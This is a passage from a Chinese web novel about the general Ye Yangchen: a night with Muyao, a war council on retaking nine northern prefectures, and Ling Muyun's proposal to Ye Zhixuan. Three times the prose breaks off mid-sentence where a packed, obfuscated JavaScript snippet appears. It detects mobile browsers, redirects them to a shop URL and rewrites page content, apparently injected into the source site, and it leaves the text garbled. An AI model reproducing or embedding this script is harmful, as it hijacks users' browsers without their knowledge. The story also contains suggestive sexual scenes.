献帝到北都那天,城里搞了一个入城仪式。那天,不明所以的老百姓夹道欢呼,热泪盈眶,他们把这亘古之功大部分归咎于献帝的雄才伟略。迁都的效果满满,这正中献帝下怀,进城时他的脸上一直洋洋得意,笑不拢嘴。 那时,叶阳晨的果敢勇毅还没有名扬四海,在百姓心中,他取得的战果不过是皇上知人善用罢了。更有甚者,在一些偏远的地方,哪怕是一方的父母官,还不知有叶阳晨这个人。 献帝看见百姓如此爱戴自己,内心也是充满自豪,那算是项桓人生里最高光的时刻了。 晚上,慕瑶去到叶阳晨住的院子,她想找阳晨说说话。 叶阳晨有点惊讶,“这么晚了,还不准备睡吗?” “阳晨,今天你心里有没有一丝失落?” “什么事情失落?没有啊。” 慕瑶轻眨了眨眼,“可是我为你不平,骁扬军的军功好像都被皇上抢走了。” “人家毕竟是皇上嘛,后世的史书上都会这么记载的,估计会这样说,献帝雄才大略夺回北都城。” 慕瑶嘟嘟着嘴,“皇上怎么了?还不是半个昏君。若不是我夫君步步为营、力挽狂澜,又怎会有今日北都城光复?” 慕瑶骂皇上是个昏君,叶阳晨心里也深以为然,甚至未觉得有任何不妥。彼时叶阳晨虽已入仕为官,但他骨子里依旧是那个桀骜不驯、睥睨天下的少年英雄,所以对慕瑶的出言大不敬并未在意。他们那十二个人,心里装着的从来不是至高无上皇权,而是黎民生计和苍生疾苦,他们也只对国家的安危充满敬畏。 叶阳晨暖笑安慰着,“我知道你是心疼我,可这也是没办法的事。不过我本就不在乎名利,这你是知道的。不止我,我们这些人都不图那些虚名的,只想着有生之年能为国为民做点力所能及的事罢了。” 见慕瑶还是微微噘着嘴,叶阳晨玩笑道:“从前我小气的时候,你不是一直劝我大气一点吗?还说我是个有仇必报的人。怎么?现在我不计较那么多了,你反而不喜欢这样的我了?” “人家还不是替你委屈,替你不平嘛。你还取笑人家?” “我哪有取笑啊?我是感觉到了娘子对我爱。” 慕瑶脸颊轻染红晕,“谁是你娘子?” 叶阳晨坏笑,“刚刚还一口一个我夫君的,怎么现在又不承认了?” 听叶阳晨那么说,林慕瑶的脸红得更是厉害,“我刚才是情急才口误的。” “是吗?原来是口误啊?” 林慕瑶发现叶阳晨眼神逐渐灼热,于是连忙道:“时间有些晚了,你早点休息,我要走了。” 叶阳晨一个箭步蹿到慕瑶的身前,双手揽住她的纤腰入怀,“你不叫,我就不让你走。” 慕瑶扭了扭身,但叶阳晨的力气太大,她无法挣脱开。 叶阳晨就冲着慕瑶坏笑,僵持了半晌,慕瑶才忍着害臊道:“夫君,放开我吧?” 那妩媚姿容入眼,那软玉娇声入耳,皆令叶阳晨心生怜爱。 慕瑶的绝色风情令叶阳晨的心怦然一跳,他情难自抑将慕瑶拦腰抱起,朝着屋里的床榻走去。 慕瑶紧张得心跳加快,“快点放我下来,你要干什么?” “今晚你就睡我房里,别走了。” “那怎么行?被大家知道看到多难为情啊,你不要闹了。”自从进了军营,慕瑶都是跟芷萱、映雪那些女孩睡在一起的。一是为了方便,二是考虑影响。 叶阳晨依然不理会她,继续抱着她往前走,“夫君打了胜仗,你总要犒劳犒劳我的。” 慕瑶轻捶着叶阳晨的肩膀,“你坏,你说话不算数。我对你说过的,你要再给我办一次成婚仪式,我才可跟你公开同枕共眠。” 林慕瑶越是这样说,叶阳晨就越觉得浑身燥热难耐,“瑶儿,今晚我特别想要你。” “你个流氓,就知道“欺负”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014341|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那一会儿完了之后…可以放我走吗?” “看我的心情。”叶阳晨将林慕瑶轻放在床榻上,随之红烛忽灭,帐幔滑落。 叶阳晨将慕瑶压在身下,伸手将她腰间的丝带解开,手随即胡乱侵入她下身的衣衫。 叶阳晨轻吻上了慕瑶的唇,伴随着那双不老实的手,慕瑶沉醉引归路。 情浓之时,慕瑶轻吟细喘,声声皆是春意,这更加激起了叶阳晨的征服欲。如火山之烈,熔岩喷射。 诗云:鸳鸯绣被翻红浪,两两巫峰最断肠。 良久,微汗融融,细密如雨,似藤蔓交缠,如胶似漆。 慕瑶有点累,本想再躺一会儿就起来穿衣回自己的寝房,可却不小心睡着了。 翌日,辰时已过,丁鹏来到叶阳晨门口轻敲着门,“哥,需要我帮你准备盥洗的物事吗?” 慕瑶瞬间醒来,推了推搂着自己的叶阳晨,轻声细语,“好像丁鹏在叫你。” 叶阳晨闭眼坏笑,“肯定是催着我漱洗,要不我让他进来?” 慕瑶用手掐向叶阳晨的腰间,“你敢?” 此时慕瑶心想:“自己这一夜未归那几个女孩多半猜到自己留宿在叶阳晨这儿了,但即是这样,可万万不能让别人堵到自己在叶阳晨的屋里,那可太丢人了。” 叶阳晨微微抬高了嗓子,“丁鹏,不用管我,我一会儿再起。” 以前在泽清山,叶阳晨也常常睡到日上三竿,所以丁鹏并未多想。 听着丁鹏的脚步声走远,慕瑶才微微舒了口气,她推了推叶阳晨搭在自己身上的胳膊,“该起了。”说着慕瑶就要坐起来。 可叶阳晨微微一用力,便将慕瑶重新拉回自己怀里躺下,随即压于自己身下,“起什么起?再睡会儿,下次再这样把你这样搂在怀里,又不知何年何月了。”说着,叶阳晨的手又开始不老实。 身无片衣未遮,慕瑶只能任由叶阳晨随心所愿,只是脸颊染得如晚霞一般红润。 被子下叶阳晨缠绕着慕瑶的玉体,慕瑶亦感受到他的反应,于是娇羞着扭过头去,“一早醒来你就这样,真坏呢。” 叶阳晨再一次从慕瑶那里体会到如沐春风般呵护和幸福。 风停雨歇,慕瑶伏在叶阳晨的身上,她根本数不清昨夜自己给了叶阳晨多少次,也记不清叶阳晨要了自己多少回。 良久,慕瑶娇嗔道:“好了吧?你也得逞了,这回我真的要起了,我可不能再跟你疯了。这次你太过分了,至少两个月不能再碰我。” 慕瑶觉得浑身酸痛,但累并快乐着,她满心想着只要能让自己的爱人快乐,她便也幸福。只是一想到自己陪着叶阳晨疯了整整一夜,她依然紧张、羞涩。 叶阳晨又搂着慕瑶亲昵了片刻,才放她起床。 慕瑶穿好衣衫,只在镜子前照了照,又梳了梳头发,便要离开。 叶阳晨打趣道:“要不要我让人把水端进来?你洗了脸再离开?” 慕瑶回头瞪了瞪眼睛,努了努嘴,“我不要理你这个坏蛋,以后我不在晚上来找你。” 望着慕瑶离去的背影,叶阳晨脸上的笑容久久没有消散。 慕瑶轻轻打开房门,朝外面四下看了看,见外面没有人走过,她才快步走出了叶阳晨的院子。其实即使真被熟人撞见,慕瑶也没有那么怕,毕竟她知自己和叶阳晨是有夫妻名分的,那么昨夜之事也不算逾矩违礼,只是慕瑶脸皮薄,还是会有些害羞罢了。 那一天,慕瑶都有些心神不宁,起初,她还很担心别人会问自己昨夜去哪儿了,为何没回来睡,尤其是担心诗怡会问。可不知怎么的,那天没人提这件事,慕瑶这才安心下来。 136. 第一百三十六章 叶阳晨简单用过早膳后,进了一趟皇宫,他要向皇上请示征战平朔九州的计划。 叶阳晨的话还未说完,项桓便打断道:“如此甚好,只是朕建议此次北征平朔,还是让你的副将前去就好,爱卿就不必亲征了。” 怕叶阳晨反对,献帝补充道:“常听闻叶将军手下良将如云,朕相信他们定能胜此重任。” 听皇上这么说,叶阳晨微微一怔,旋即明白了献帝的心思,他是不放心北都的防卫,总觉得留下自己要安全一些。 叶阳晨恭肃道:“好的,臣谢皇上体恤。”叶阳晨没想到皇上会有此主意,这样一来,他不得不改变之前的作战方案,因为之前他是打算自己亲自率兵出战的。 皇上闻之甚悦,连连点头,“这半年来,叶将军连战连捷,朕心甚慰。但爱卿着实辛苦,朕亦看在眼里,常于心不忍啊。” 叶阳晨心里觉得这皇帝也太虚伪了,只是总要给皇上留些颜面。其实即使叶阳晨离开北都,也会把北都的防卫做好,并不会给那海可乘之机。只是看皇上也不会相信自己有这个能力,他也就不多说了。 此时此刻,任谁都清楚京城防卫是非常重要的。现如今,北都城已不同往日,皇上妃嫔、王公大臣,都迁入了北都城,如有任何闪失和意外,后果将不堪设想。此外,如果骁扬军刚刚夺回了北都,就出现那海杀回马枪的事,不仅皇上颜面扫地,恐怕骁扬军日后也无面目见江东父老了。 况且叶阳晨了解那海这个对手,那海睡了一觉就丢掉了北都城,他一定咽不下这口气,定会伺机卷土重来。鉴于此,叶阳晨是怎么都不敢掉以轻心的。 从宫里回来后,叶阳晨便召集十一个兄弟姐妹重新开了个会。他几次看向慕瑶,慕瑶都羞得别过脸去。 叶阳晨也不再逗她,而是站到平朔九州的舆图前,正色对着大家说道:“相信咱们这些兄弟,有的人对平朔九州的历史还是知道一些。但是为了那些还不知道的,我还是要啰嗦几句。” “平朔九州,位于长城以南,分为西边的朔州、云州、新州、武州、易州,还有东部的顺州、涿州、景州、平州。前朝有个皇帝叫史唐的,为了苟延残喘,将平朔九州割让给了蒙古,自此之后近400年都没有收复此地。丰太祖曾出兵收复失地,但大败而归。” “我想从舆图上,大家也看得出来,平朔九州的意义尤其重要,这个区域横亘着巍峨险峻的山脉及纵贯交错的江河,这些奇峰天堑构成了中原的天然屏障。失掉它的这400年来,北都城腹地随时暴露在蒙古人的刺刀下。我们这次出征,就是要让平朔九州重回华夏。” “据斥候回来说,西边五州由那海亲自坐镇,而东部四州则由那海的长子伊勒德驻守。以上就是目前平朔九州的情况。” 叶阳晨说完,坐在下面听着的每个人都了解了平朔九州的战略意义。 安然笑得像花一样,“哥哥,你怎么知道那么多?安安好崇拜你。” 叶阳晨冲着安然一笑,并没有接她的话,然后立即声色俱厉道:“左前锋凌牧云听令,由你率军十万攻打平朔西部五州。” 凌牧云站起身,“遵令!” 叶阳晨追问:“你需要带哪些人给你去做副手?” “我要带上石磊、仲华,还有……” “有什么话就直说,别吞吞吐吐的。” 凌牧云铿锵道:“我还要带上芷萱。” 叶阳晨想都没有想便答应道:“好的,就这么安排。” 叶芷萱霍地站起来,“哥……” 叶阳晨皱眉,“这是在开会。”叶阳晨以前曾规定过,凡是开正式会议时,每个人不能以兄弟姐妹相称。 “叶帅,我不要与凌牧云一组。” 叶阳晨眉毛一挑,“为什么?” “我……”叶芷萱当然不会在这个场合说出自己与凌牧云之间的纠葛和矛盾。” 叶阳晨冷着脸,“胡闹,这是去打仗不是过家家,没的商量,不做改变。” 叶芷萱只好气呼呼地坐下来,只是用眼睛狠狠地瞪着凌牧云。 叶阳晨又看向叶清扬,“右前锋叶清扬听令,由你带领十万军马攻打平朔东部四州。” “得令。”叶清扬喊得铿锵有力。 “你需要带谁去帮助你?” “我带林诗怡。” “其他人呢?” “不用了,就她一人足矣。” 林诗怡脉脉含情地看了一眼叶清扬,心里嘟囔着:“什么嘛?就带我一个人,说得好像去游山玩水一样。” 胡枫笑着看向诗怡,打趣道:“看嘛,诗怡,我们清扬多信任你,就带你一个人。” 凌牧云也跟着胡枫开起玩笑,“胡哥,说不定不是信任,而是清扬怕别人碍眼打扰他和诗怡,所以就不带别人了。” 芷萱听凌牧云还有心情玩笑,心里就更是气。 活泼开朗的诗怡,听到叶清扬木头一般的回答,也不由得羞红了脸。加之胡哥和牧云的玩笑,她更是有点难为情。 正在这时,安然站起来,“哥哥,我也要陪着清扬哥和诗怡姐上前线。” 叶阳晨拒绝道:“你去做什么?战场多危险,你还是跟着哥哥留在北都城吧。” “安安的本事自保没有问题,我就要去。” 清扬见状道:“叶帅,既然安安执意要去,我看就带着她吧,我来负责她的安全。” 叶阳晨眉头依旧皱着,“好,那就这么安排,你们两路军务必拿下平朔九州,否则军法处置。” 从前出征,叶阳晨总会嘱咐大家说:“胜利很重要,保命亦然。”众人还是第一次听到叶阳晨下如此严令,也就明白平朔九州在他心里的重要性。 慕瑶偷偷握住叶阳晨的手,试图缓解他急躁和焦虑的情绪。 叶阳晨无暇顾及这些,“其余人等各司其职,不得松懈北都城的防卫。另外,无我将令,任何人不得私自离开北都城。” 众人朗声应是。 会议结束,大家走出了议事厅,只有慕瑶没有起身。 见屋里只有叶阳晨和自己,慕瑶才笑语温声道:“今天你从宫里回来后,心情就不好了,刚刚议事你也是一直肃着脸,难道是皇上跟你说了什么吗?” 叶阳晨轻叹着气,“与皇上无关,可能是我太心急了吧,我还有点紧张,如果不尽快夺回平朔九州,京城始终在敌军的利刃之下。只有完全收回平朔九州,北都才能获得真正的安宁,所以这一战尤为重要。唉,皇上不迁都就好了,我也不至于压力这么大。” 慕瑶上前轻抚叶阳晨的脸,泪光盈盈,“不要给自己太大压力了,你已经做得够好了。”望着眼前那个坚毅不乏温暖,勇敢不失热血的叶阳晨,慕瑶有点心疼他。 叶阳晨微微点了点头,可眉头依旧紧着。 慕瑶暖心一笑,“荆棘路虽远,未来仍可期。” 叶阳晨心情稍稍舒缓了些,“我刚刚是不是对兄弟们太凶了?” 慕瑶甜甜一笑,“后悔啦?我小时候怎么没发现你这么可爱呢?你从前的霸道劲都跑哪儿去了?” “那是因为你小时候对我有偏见。” “才不是,那时的你就是个讨厌鬼,还总欺负我,坏死了。” 叶阳晨突然正色道:“瑶儿,我有件事想问你,这句话憋在我心里很久了。” “什么啊?表情突然那么严肃。” “说真的,小时候,我把你抢上山,还给你烙下玲珑印,你恨不恨我?” “小时候当然恨啊。” “那现在呢?”叶阳晨追问着。 “你说呢?” “我不知道啊!” “你怎么可能不知道?”林慕瑶语气一顿,“怎么突然问这个问题啊?” “今天就是想知道。如你所说,我儿时确实很霸道,很多事也都随心而为了。可是因为现在心里在乎,我更希望你是快乐的,开心的。” 慕瑶眉目含情地望了叶阳晨一眼,抿着唇轻语道:“现在就是想恨也来不及了啊!心都被你偷走了,人也都被你骗到手了,而且我现在是你的妻子,还怎么恨你呢?” 叶阳晨双手按在慕瑶的肩膀上,“你再多说一些,我认真想听。” 慕瑶嫣然一笑,“今天怎么这么执着啊?打破砂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055978|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅问到底?” 两人的目光交汇,慕瑶侧着头,秋波盈盈地望着叶阳晨,“你还是和小时候一样,做什么事都那么执着。” 现在“小时候”这三个字慕瑶经常会说,但是现在说起来都是美好的感觉了,那三个字意味着童年的时光,和那些共同经历的岁月,真的回忆满满。 叶阳晨忽地暖笑着:“你会经常想起我们小时候的事吗?” “会啊!” 叶阳晨笑容更柔和了些,还带着点岁月的沧桑感,“瑶儿,你小时候可爱哭了。每天都掉很多眼泪,流的眼泪能汇聚成江河,都快把我淹没了。” “你还说,还不是因为你把我抢上山,还不放我回家,否则我能哭得那么伤心吗?”慕瑶努了努嘴,继续道,“那时候你太坏了,你还逼我吃猪脚。” “猪蹄多好吃啊,没品味。而且现在你不也吃得很开心?” “哪有很开心?我那是陪你罢了。” “我知道你喜欢吃什么?” “什么?” “就是流云瀑水潭里的断齿鱼,你还记不记得小时候我们住在流云瀑,我每天都会下水潭里捉这个鱼,然后就在岸边烤给你吃。” 慕瑶亮眼一笑,“嗯,也不知为什么那个鱼的肉特别嫩,后来我都没有吃过那么好吃的鱼。而且断齿鱼刺很少,只有一根,对于我这种不喜欢吃鱼挑刺的人来说,真是幸福的事。” 聊到小时候的事,两人都很开心,叶阳晨刚刚心里烦躁的情绪都消减了许多。 叶阳晨发问:“慕瑶,我们小时候经历过的事你都还记得?” “我本来记性就好,与你发生的事就更难忘的。” 叶阳晨莞尔,“那你说说看。” 慕瑶未说先笑了起来,“比如你小时候总穿着虎皮坎肩,丑死了,我当时还不敢告诉你。” “丑吗?我觉得多玉树临风的。” 慕瑶掩嘴浅笑,“哪有玉树临风?看着就不像好人。” 慕瑶突然浅笑转问道:“对了,你那‘玉树临风’的坎肩现在哪去了?扔掉了吗?”话还未说完,慕瑶又自己先笑了起来。 “扔是不会扔的,估计是被我娘收起来了吧,我小时候穿过的用过的东西,我娘从来都不舍得扔,都锁在柜子里。”叶阳晨听叶阳天提过一句,说自己不在的时候,唐露有时想他了,就会把那些旧衣服拿出来看看。” 慕瑶随口说道:“总之,我以后才不要让我儿子穿那么丑的衣服。”说完,慕瑶意识到自己说错了话,连忙捂住了脸。 叶阳晨打趣道:“不要捂了,捂脸也来不及了,我知道你急着给我生儿子,总有一天这个愿望会实现的。” 慕瑶羞得皱起了眉头,“谁要给你…你真坏,真是厚脸皮……” 见慕瑶可人娇态,叶阳晨情不自禁将她拥入怀中,双臂又随心紧了些。 感受到叶阳晨抱自己抱得用力,慕瑶鼻子突兀一酸,心里还是不由得回想起两人这一路走来的幸福与波折。 时至今日,每当沐浴,慕瑶看着身上鲜红的玲珑印,还是会有些恍惚,觉得极不真实,仿若是前世发生的事。只是曾经怨念,经四季轮回,早已化为情之一字,印刻于心,至入骨三分时,万恨尽随风逝。慕瑶早就不是从前的慕瑶了,思君山水千程,念君风雪万更,也只是想陪君身侧度余生。 叶阳晨发觉慕瑶有点不太对,沉声问道:“你怎么了?” 慕瑶把自己头深深地埋在叶阳晨的颈窝里,喃喃低语,“其实你挺傻的,我们走到今天,你竟然还问我恨不恨你这样的问题,完全看不到人家的心。” “谁说我看不到,我只是想听你亲口说出来。” 慕瑶轻轻用力,假意推开叶阳晨,“你怎么这么狡猾?又欺负我。” “那以后换你欺负我,好不好?”说着叶阳晨垂下头,吻上了慕瑶的双唇。情至浓时,他的手又情不自禁了。 缱绻温存时,慕瑶浑身酥软,不由得轻呻细吟。片刻后,她用力按住叶阳晨乱动的手,沉坠云端。 良久,慕瑶只感觉自己的脸越发滚烫,心跳如擂,这才用力推开叶阳晨。 137. 第一百三十七章 与屋内的软语绵绵相比,外面坐在石台阶上的叶芷萱依旧生着闷气,嘴上不停地嘟哝着:“凭什么他要我跟他一起去打仗,我就只有被动接受啊?凭什么啊?” 来军营的这些日子,叶芷萱觉得,凌牧云就像个狗皮膏药一样粘着自己,每天都在自己眼前晃来晃去的,很是让她讨厌。其实凌牧云是有傲骨的,即使再喜欢一个女孩子也不会死缠烂打,芷萱所认为的凌牧云粘着自己,不过是凌牧云总想见到她,在她面前出现的频率多一些罢了。凌牧云是有自知之明的,他知道芷萱不喜欢自己,所以有时他只是远远地看看芷萱,并不说什么。可即使这样,芷萱每次看到凌牧云,还是总会想起他在水望云岛为自己宽衣治伤的情景,这个心结好像怎么也解不开。 之前芷萱还总想着抱轻薄之仇,只是凌牧云对她太好了,人心总是肉长的,时间一长她就不忍心做太过分的事了,这种进退失据的境地很令她心烦。 但芷萱不想承认自己对凌牧云的不忍心也因对凌牧云有了些好感,于是她就在心里为自己“开脱”,说凌牧云毕竟救过自己,自己总不能□□将仇报。芷萱倒是找过几次凌牧云的麻烦,平素说话时也总是呛着他,可奇怪的是,凌牧云总是平心静气不露喜怒,越是这样,芷萱的心中的气就越无处发泄。 既然“惹不起”凌牧云这尊佛,芷萱就尽量躲着他,可她还是觉得凌牧云这个人很“难缠”,躲也是躲不掉的,比如像今天,凌牧云就会要自己同他一起出征。 其实凌牧云也能感觉到芷萱总躲着自己,可是喜欢一个人是没有办法控制的事,凌牧云做事执着,不想对不起自己,尤其不想对不起自己的那颗心。要知道人海茫茫的,遇到一个自己倾心相付的人是那么不容易。凌牧云来到人世十九载,也只遇到芷萱这么一个让他心怡的女孩子,所以只要一有机会,凌牧云还是会想办法创造跟芷萱在一起的机会。 之前的种种,加之这次逼着自己跟着出征,芷萱的怒气已经到嗓子眼了。她一想到凌牧云把自己置于逃无可逃的境地,就怎么都咽不下这口气,于是还是去找了凌牧云,她要找这个讨厌鬼算算账。 叶芷萱来到凌牧云住的房屋门口,大喊一声:“凌牧云,你给我出来。” 少时,凌牧云推开门,双手抱臂靠着门框,“找我有事吗?”他就猜到芷萱会来找自己的,所以对于芷萱要做什么他心里早有准备。 “当然有事,你为什么一定要我陪你去打平朔九州?” 凌牧云扑哧一笑,“小气鬼,你还在为这件事生气呢?” 一听凌牧云说自己小气,芷萱就更气,“你少废话,我就觉得你没安好心。” 凌牧云清朗一笑,“我让你跟我一起去打仗,肯定是因为你武功高啊!谁不想找个好帮手呢?还有,你这个人的觉悟怎么这么差?战场杀敌不是每个有血性男儿该干的事吗?你怎么还想当逃兵呢?哦,我忘了,你只是身穿男儿装而已,并不是真正的男儿。 凌牧云故意这样说气气芷萱,是不想她跟自己去前线都不情不愿的。说这话时,凌牧云的脸上没有一丝微笑,而是依然保持着清雅飘逸的气度。 “你…你真是混蛋。”芷萱发现自己怎么都说不过凌牧云,只是悻悻地冒出这么一句话。 “我是不是混蛋先不说,但是你肯定是个胆小鬼。” “谁胆小了?”一听凌牧云这样说自己,叶芷萱急着反驳。 “我看你就是想跟清扬一组,然后让你弟弟照顾你、庇护你。而你就可以躲在军帐里睡大觉了,这种打仗的日子岂不乐哉悠哉?” “你胡言乱语,你信口开河,简直气死人了。”芷萱也知道凌牧云在对自己用激将法,可耳朵听到这种污蔑的话,她还是受不了。怒气难消,她伸手一拳打向凌牧云的面门。 凌牧云反应奇快,身子一闪,便躲过了芷萱的这一拳,随即伸手握住了芷萱的手腕。牧云只是轻轻一拉,便把芷萱搂在了怀里。 芷萱用另一只手出拳,结果手再次被凌牧云攥住。 虽然是在过招,但实际上牧云也是在抱芷萱。芷萱脸微红,心微动,“你混蛋,你竟敢抱我?” “怎么不敢?天下就只我敢。” “你这个无赖。” “你说什么都行,我不怪你,也不生你的气。” 芷萱强行从凌牧云的怀里挣脱开,两人又打了一会儿,芷萱根本不是凌牧云的对手,怎么都占不到便宜。相反,凌牧云总能见招拆招,一会儿搂一下芷萱,一会儿又抱一下她。 芷萱突然一怒,“不打了。”说完,她又气呼呼地坐在了石阶上了。 凌牧云见状也走过去坐在芷萱的身侧,温情款款道:“芷萱,你真的想知道我这次为什么一定要将你带在身边吗?” 芷萱“哼”了一声,然后将头扭过去。 凌牧云含笑,“你要是真想知道就跟我来,到了那个地方,我一定告诉你。” 凌牧云站起身,回头见芷萱还坐在那里,“怎么?不敢去?” “去就去。”芷萱霍然起身。 两人走出叶帅府,并骥而驰去了郊外。 一炷香的时间过去了,芷萱有点不耐烦,“我们到底要去哪儿?有什么话非要出来说?” “怎么?怕我把你卖了?你性格那么差,除了我谁都不会买你的。”凌牧云侧过头,脸上挂着笑,“一会儿你就知道了。” 他们骑了半个时辰,来到一个山谷。此时已是深秋时节,漫山五彩斑斓、层林尽染。放眼望去,近处是清潭碧水,鱼翔浅底,远处松柏苍翠、枫叶嫣红。芷萱身处如此诗画风光,不由得沉醉其中。 赏玩了片刻,芷萱才回过神问道:“这个地方你来过吗?” “前些年来北都看朋友,偶然到过这里。只是……” “只是什么?” “只是没想到今天会和你一起来,你觉得这里美吗?” “还行,不过跟我的家泽清山比起来差得太远了,跟你的霁月湖和水望云岛相比也差了点意思。” “差是差了点,但总比没有好。” 芷萱双臂交叉抱在胸前,“好啦,少啰嗦了,现在有什么可以说清楚了吧?你为什么去哪儿都要带上我?本姑娘可没有闲情逸致陪你在这儿看风景。” 凌牧云凝视芷萱的眼神突然变得灼热,像一团火在燃烧。芷萱见状有些心慌,因为她从来没有见过这样的凌牧云。 沉默良久,凌牧云突然说道:“芷萱,我心悦你,所以才想让你时刻在我身边,这个我之前已经对你言明过了。这次我想说…我想…让你嫁予我为妻。” 话音未落,芷萱已怔愣在当场,耳边轰鸣不断。对于凌牧云会说出这样的话,她完全没有一点心理准备。对于叶芷萱而言,那次凌牧云说喜欢自己,她都有点招架不住,更不要说凌牧云这次求婚了。 见芷萱不说话,凌牧云第一次有点沉不住气:“我说的是真心话,没有半句虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062341|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言的。之前在霁月湖时,我就说过我愿意对你负责。时间越久,我就越能看清自己的心,也更确信自己的心。如果你愿意的话,我一会儿回去就跟阳晨哥求亲,我想哥肯定会答应我的。” “你说什么疯话?快收回你所说的话。”一切来的太突然,芷萱心乱如麻,不知该如何应对。她眼神有点闪躲,不敢再看凌牧云,想了想还是直接转过身去背对着凌牧云,以此来安抚自己狂跳的心。 “我说的不是疯话,而是真心话,话既然说出了口,就收不回去了,我也不愿收回。从今日起,我愿为你摘星揽月,更愿为你追风沐雨。”凌牧云走过去,再次站在叶芷萱的面前,令她躲无可躲。 芷萱心如撞鹿,感觉自己好像已被牧云的深情紧紧包裹住,无力抗拒。 牧云情不自禁地握住芷萱的手。芷萱想抽回自己的手,可牧云攥得更紧了。 凌牧云温声深情道:“自从我第一眼见到你,你的英姿和气度便令我倾倒,而后种种不过是加深这份缘分罢了。余生经年,我愿快乐是你,温暖是你,幸福亦是你。” 芷萱自金钗之年,便有许多俊俏少年郎对她表白,只是芷萱都觉得很肉麻,听着就心烦。可今天听了牧云的一番表白,她的心就好像火药捻子在燃烧,骤然升温。 芷萱不知这是不是天意,自己本就与凌牧云有婚约,今日凌牧云还真就求婚了。一想到这些可能就是命中缘分,芷萱就更紧张得不行,甚至呼吸都开始不畅了,她屏住气道:“你不要跟我说这些,我不喜欢听。” 凌牧云温柔深情道:“芷萱,别拒绝我了。给我一个机会,一个照顾你的机会,好吗?我会对你很好的,永远对你好,一生只对你一个人好。” “你不要说了,行吗?”面对凌牧云的表白,芷萱的声音低得不行,她不知该怎么拒绝他才好,不知到底要怎么说,才能不让凌牧云太难过,只能“求”他不要再说下去。 见芷萱一直拒绝自己,凌牧云一时情急,双手揽住了她的腰,随即轻轻用力将芷萱往前一带,“难道你心里一点都不曾装着我?你就一点不喜欢我?” 两人距离之近,芷萱甚至能感受到凌牧云的鼻息,她垂下眉眼,轻语着:“不喜欢。”芷萱嘴上说得坚决,但心里却在那一刻有些犹豫和动摇了。这样的心情下,她竟然没有计较刚刚凌牧云抱住了自己。 芷萱口中的“不喜欢”就像一盆冰水泼下来,凌牧云寒彻肺腑。霎时,凌牧云抱着芷萱的手也突然坠了下来,他满眼失落,直至变得绝望。 芷萱偷偷瞟了一眼凌牧云,见到他失落至极的表情,心里突然有点不是滋味,感觉好像做了很对不起凌牧云的事。 凌牧云是那么丰神俊逸、才能卓绝,这样的男子世间罕见,芷萱怎么可能对他一点感觉都没有呢?何况这么优秀的男孩平日里都对芷萱处处迁就,言听计从的,她就更不可能一点不感动。 此刻,芷萱有点后悔刚刚去找凌牧云,因为她不去的话,也就不会惹出凌牧云说出这番“求婚”的话来。她不停地在心里怨自己:“出征就出征嘛,又不会掉一层皮,自己为何就那么沉不住气呢?”可现在说什么想什么都已经晚了,说出话没办法装作听不见,就像凌牧云锁说,说出的话也无法再收回去。芷萱好像做了错事一般,故意岔开话题,“天快黑了,要不我们还是回去吧?” 牧云依旧失魂落魄,“还是你自己先回去吧,我想一个人在这儿待一会儿。”说着他毅然转过身去。 138. 第一百三十八章 芷萱黛眉微蹙,感觉自己留下也不是,独自离开也不是。望着凌牧云的背影,她依然能感觉到他彻骨的悲伤,她知道自己的拒绝深深伤害了凌牧云,但是她别无选择。最后,芷萱还是逼着自己离开了,因为她留下也不知怎么面对凌牧云,她甚至不知该说些什么。 回去的路上,芷萱心中憋闷极了,“今天她明明是去找凌牧云算账的,怎么最后弄得好像自己很对不起人家似的。” 虽然之前凌牧云对芷萱已有所表示,但那时芷萱却不会有什么压力,她甚至可以拒绝得很坦然,可这次她却怎么都做不到了。今天之前,芷萱或许还可以自欺欺人,还可以当着凌牧云的面表达自己的反感和不满,甚至想当然地无视凌牧云对自己的那片深情。可在今天,在刚刚,在瞬息之间,当凌牧云把真心完全剖给芷萱看,当凌牧云郑重地求婚后,一切都改变了。 想到这些,芷萱甚至觉得有些委屈,明明自己已经在“躲着”凌牧云了,但还是落到如今无处可“逃”的境地。芷萱甚至不知在以后的日子里该如何面对凌牧云,而且一想到接下来的出征,两人还要朝夕相伴,还要面对今日表白后带来的尴尬,她就更觉心烦意乱。 回到北都的临时叶帅府,芷萱就把自己关在房里,整个人都是坐立不安、神情恍惚的。她坐在圆桌旁,单手托着腮,脑海里总是浮现着下午在山谷时的情景,耳边则总是回荡着凌牧云对自己深情表白的那番话。 待了不知多久,芷萱觉得越想越心思烦乱,于是推开房门叫来一个丫鬟说道:“你悄悄去看看凌将军回没回来?” 丫鬟答应后刚要走,芷萱连忙叫住她,“记得别让人知道是我让你这么做的。” 丫鬟眯眼笑着点头,然后缓步离开。 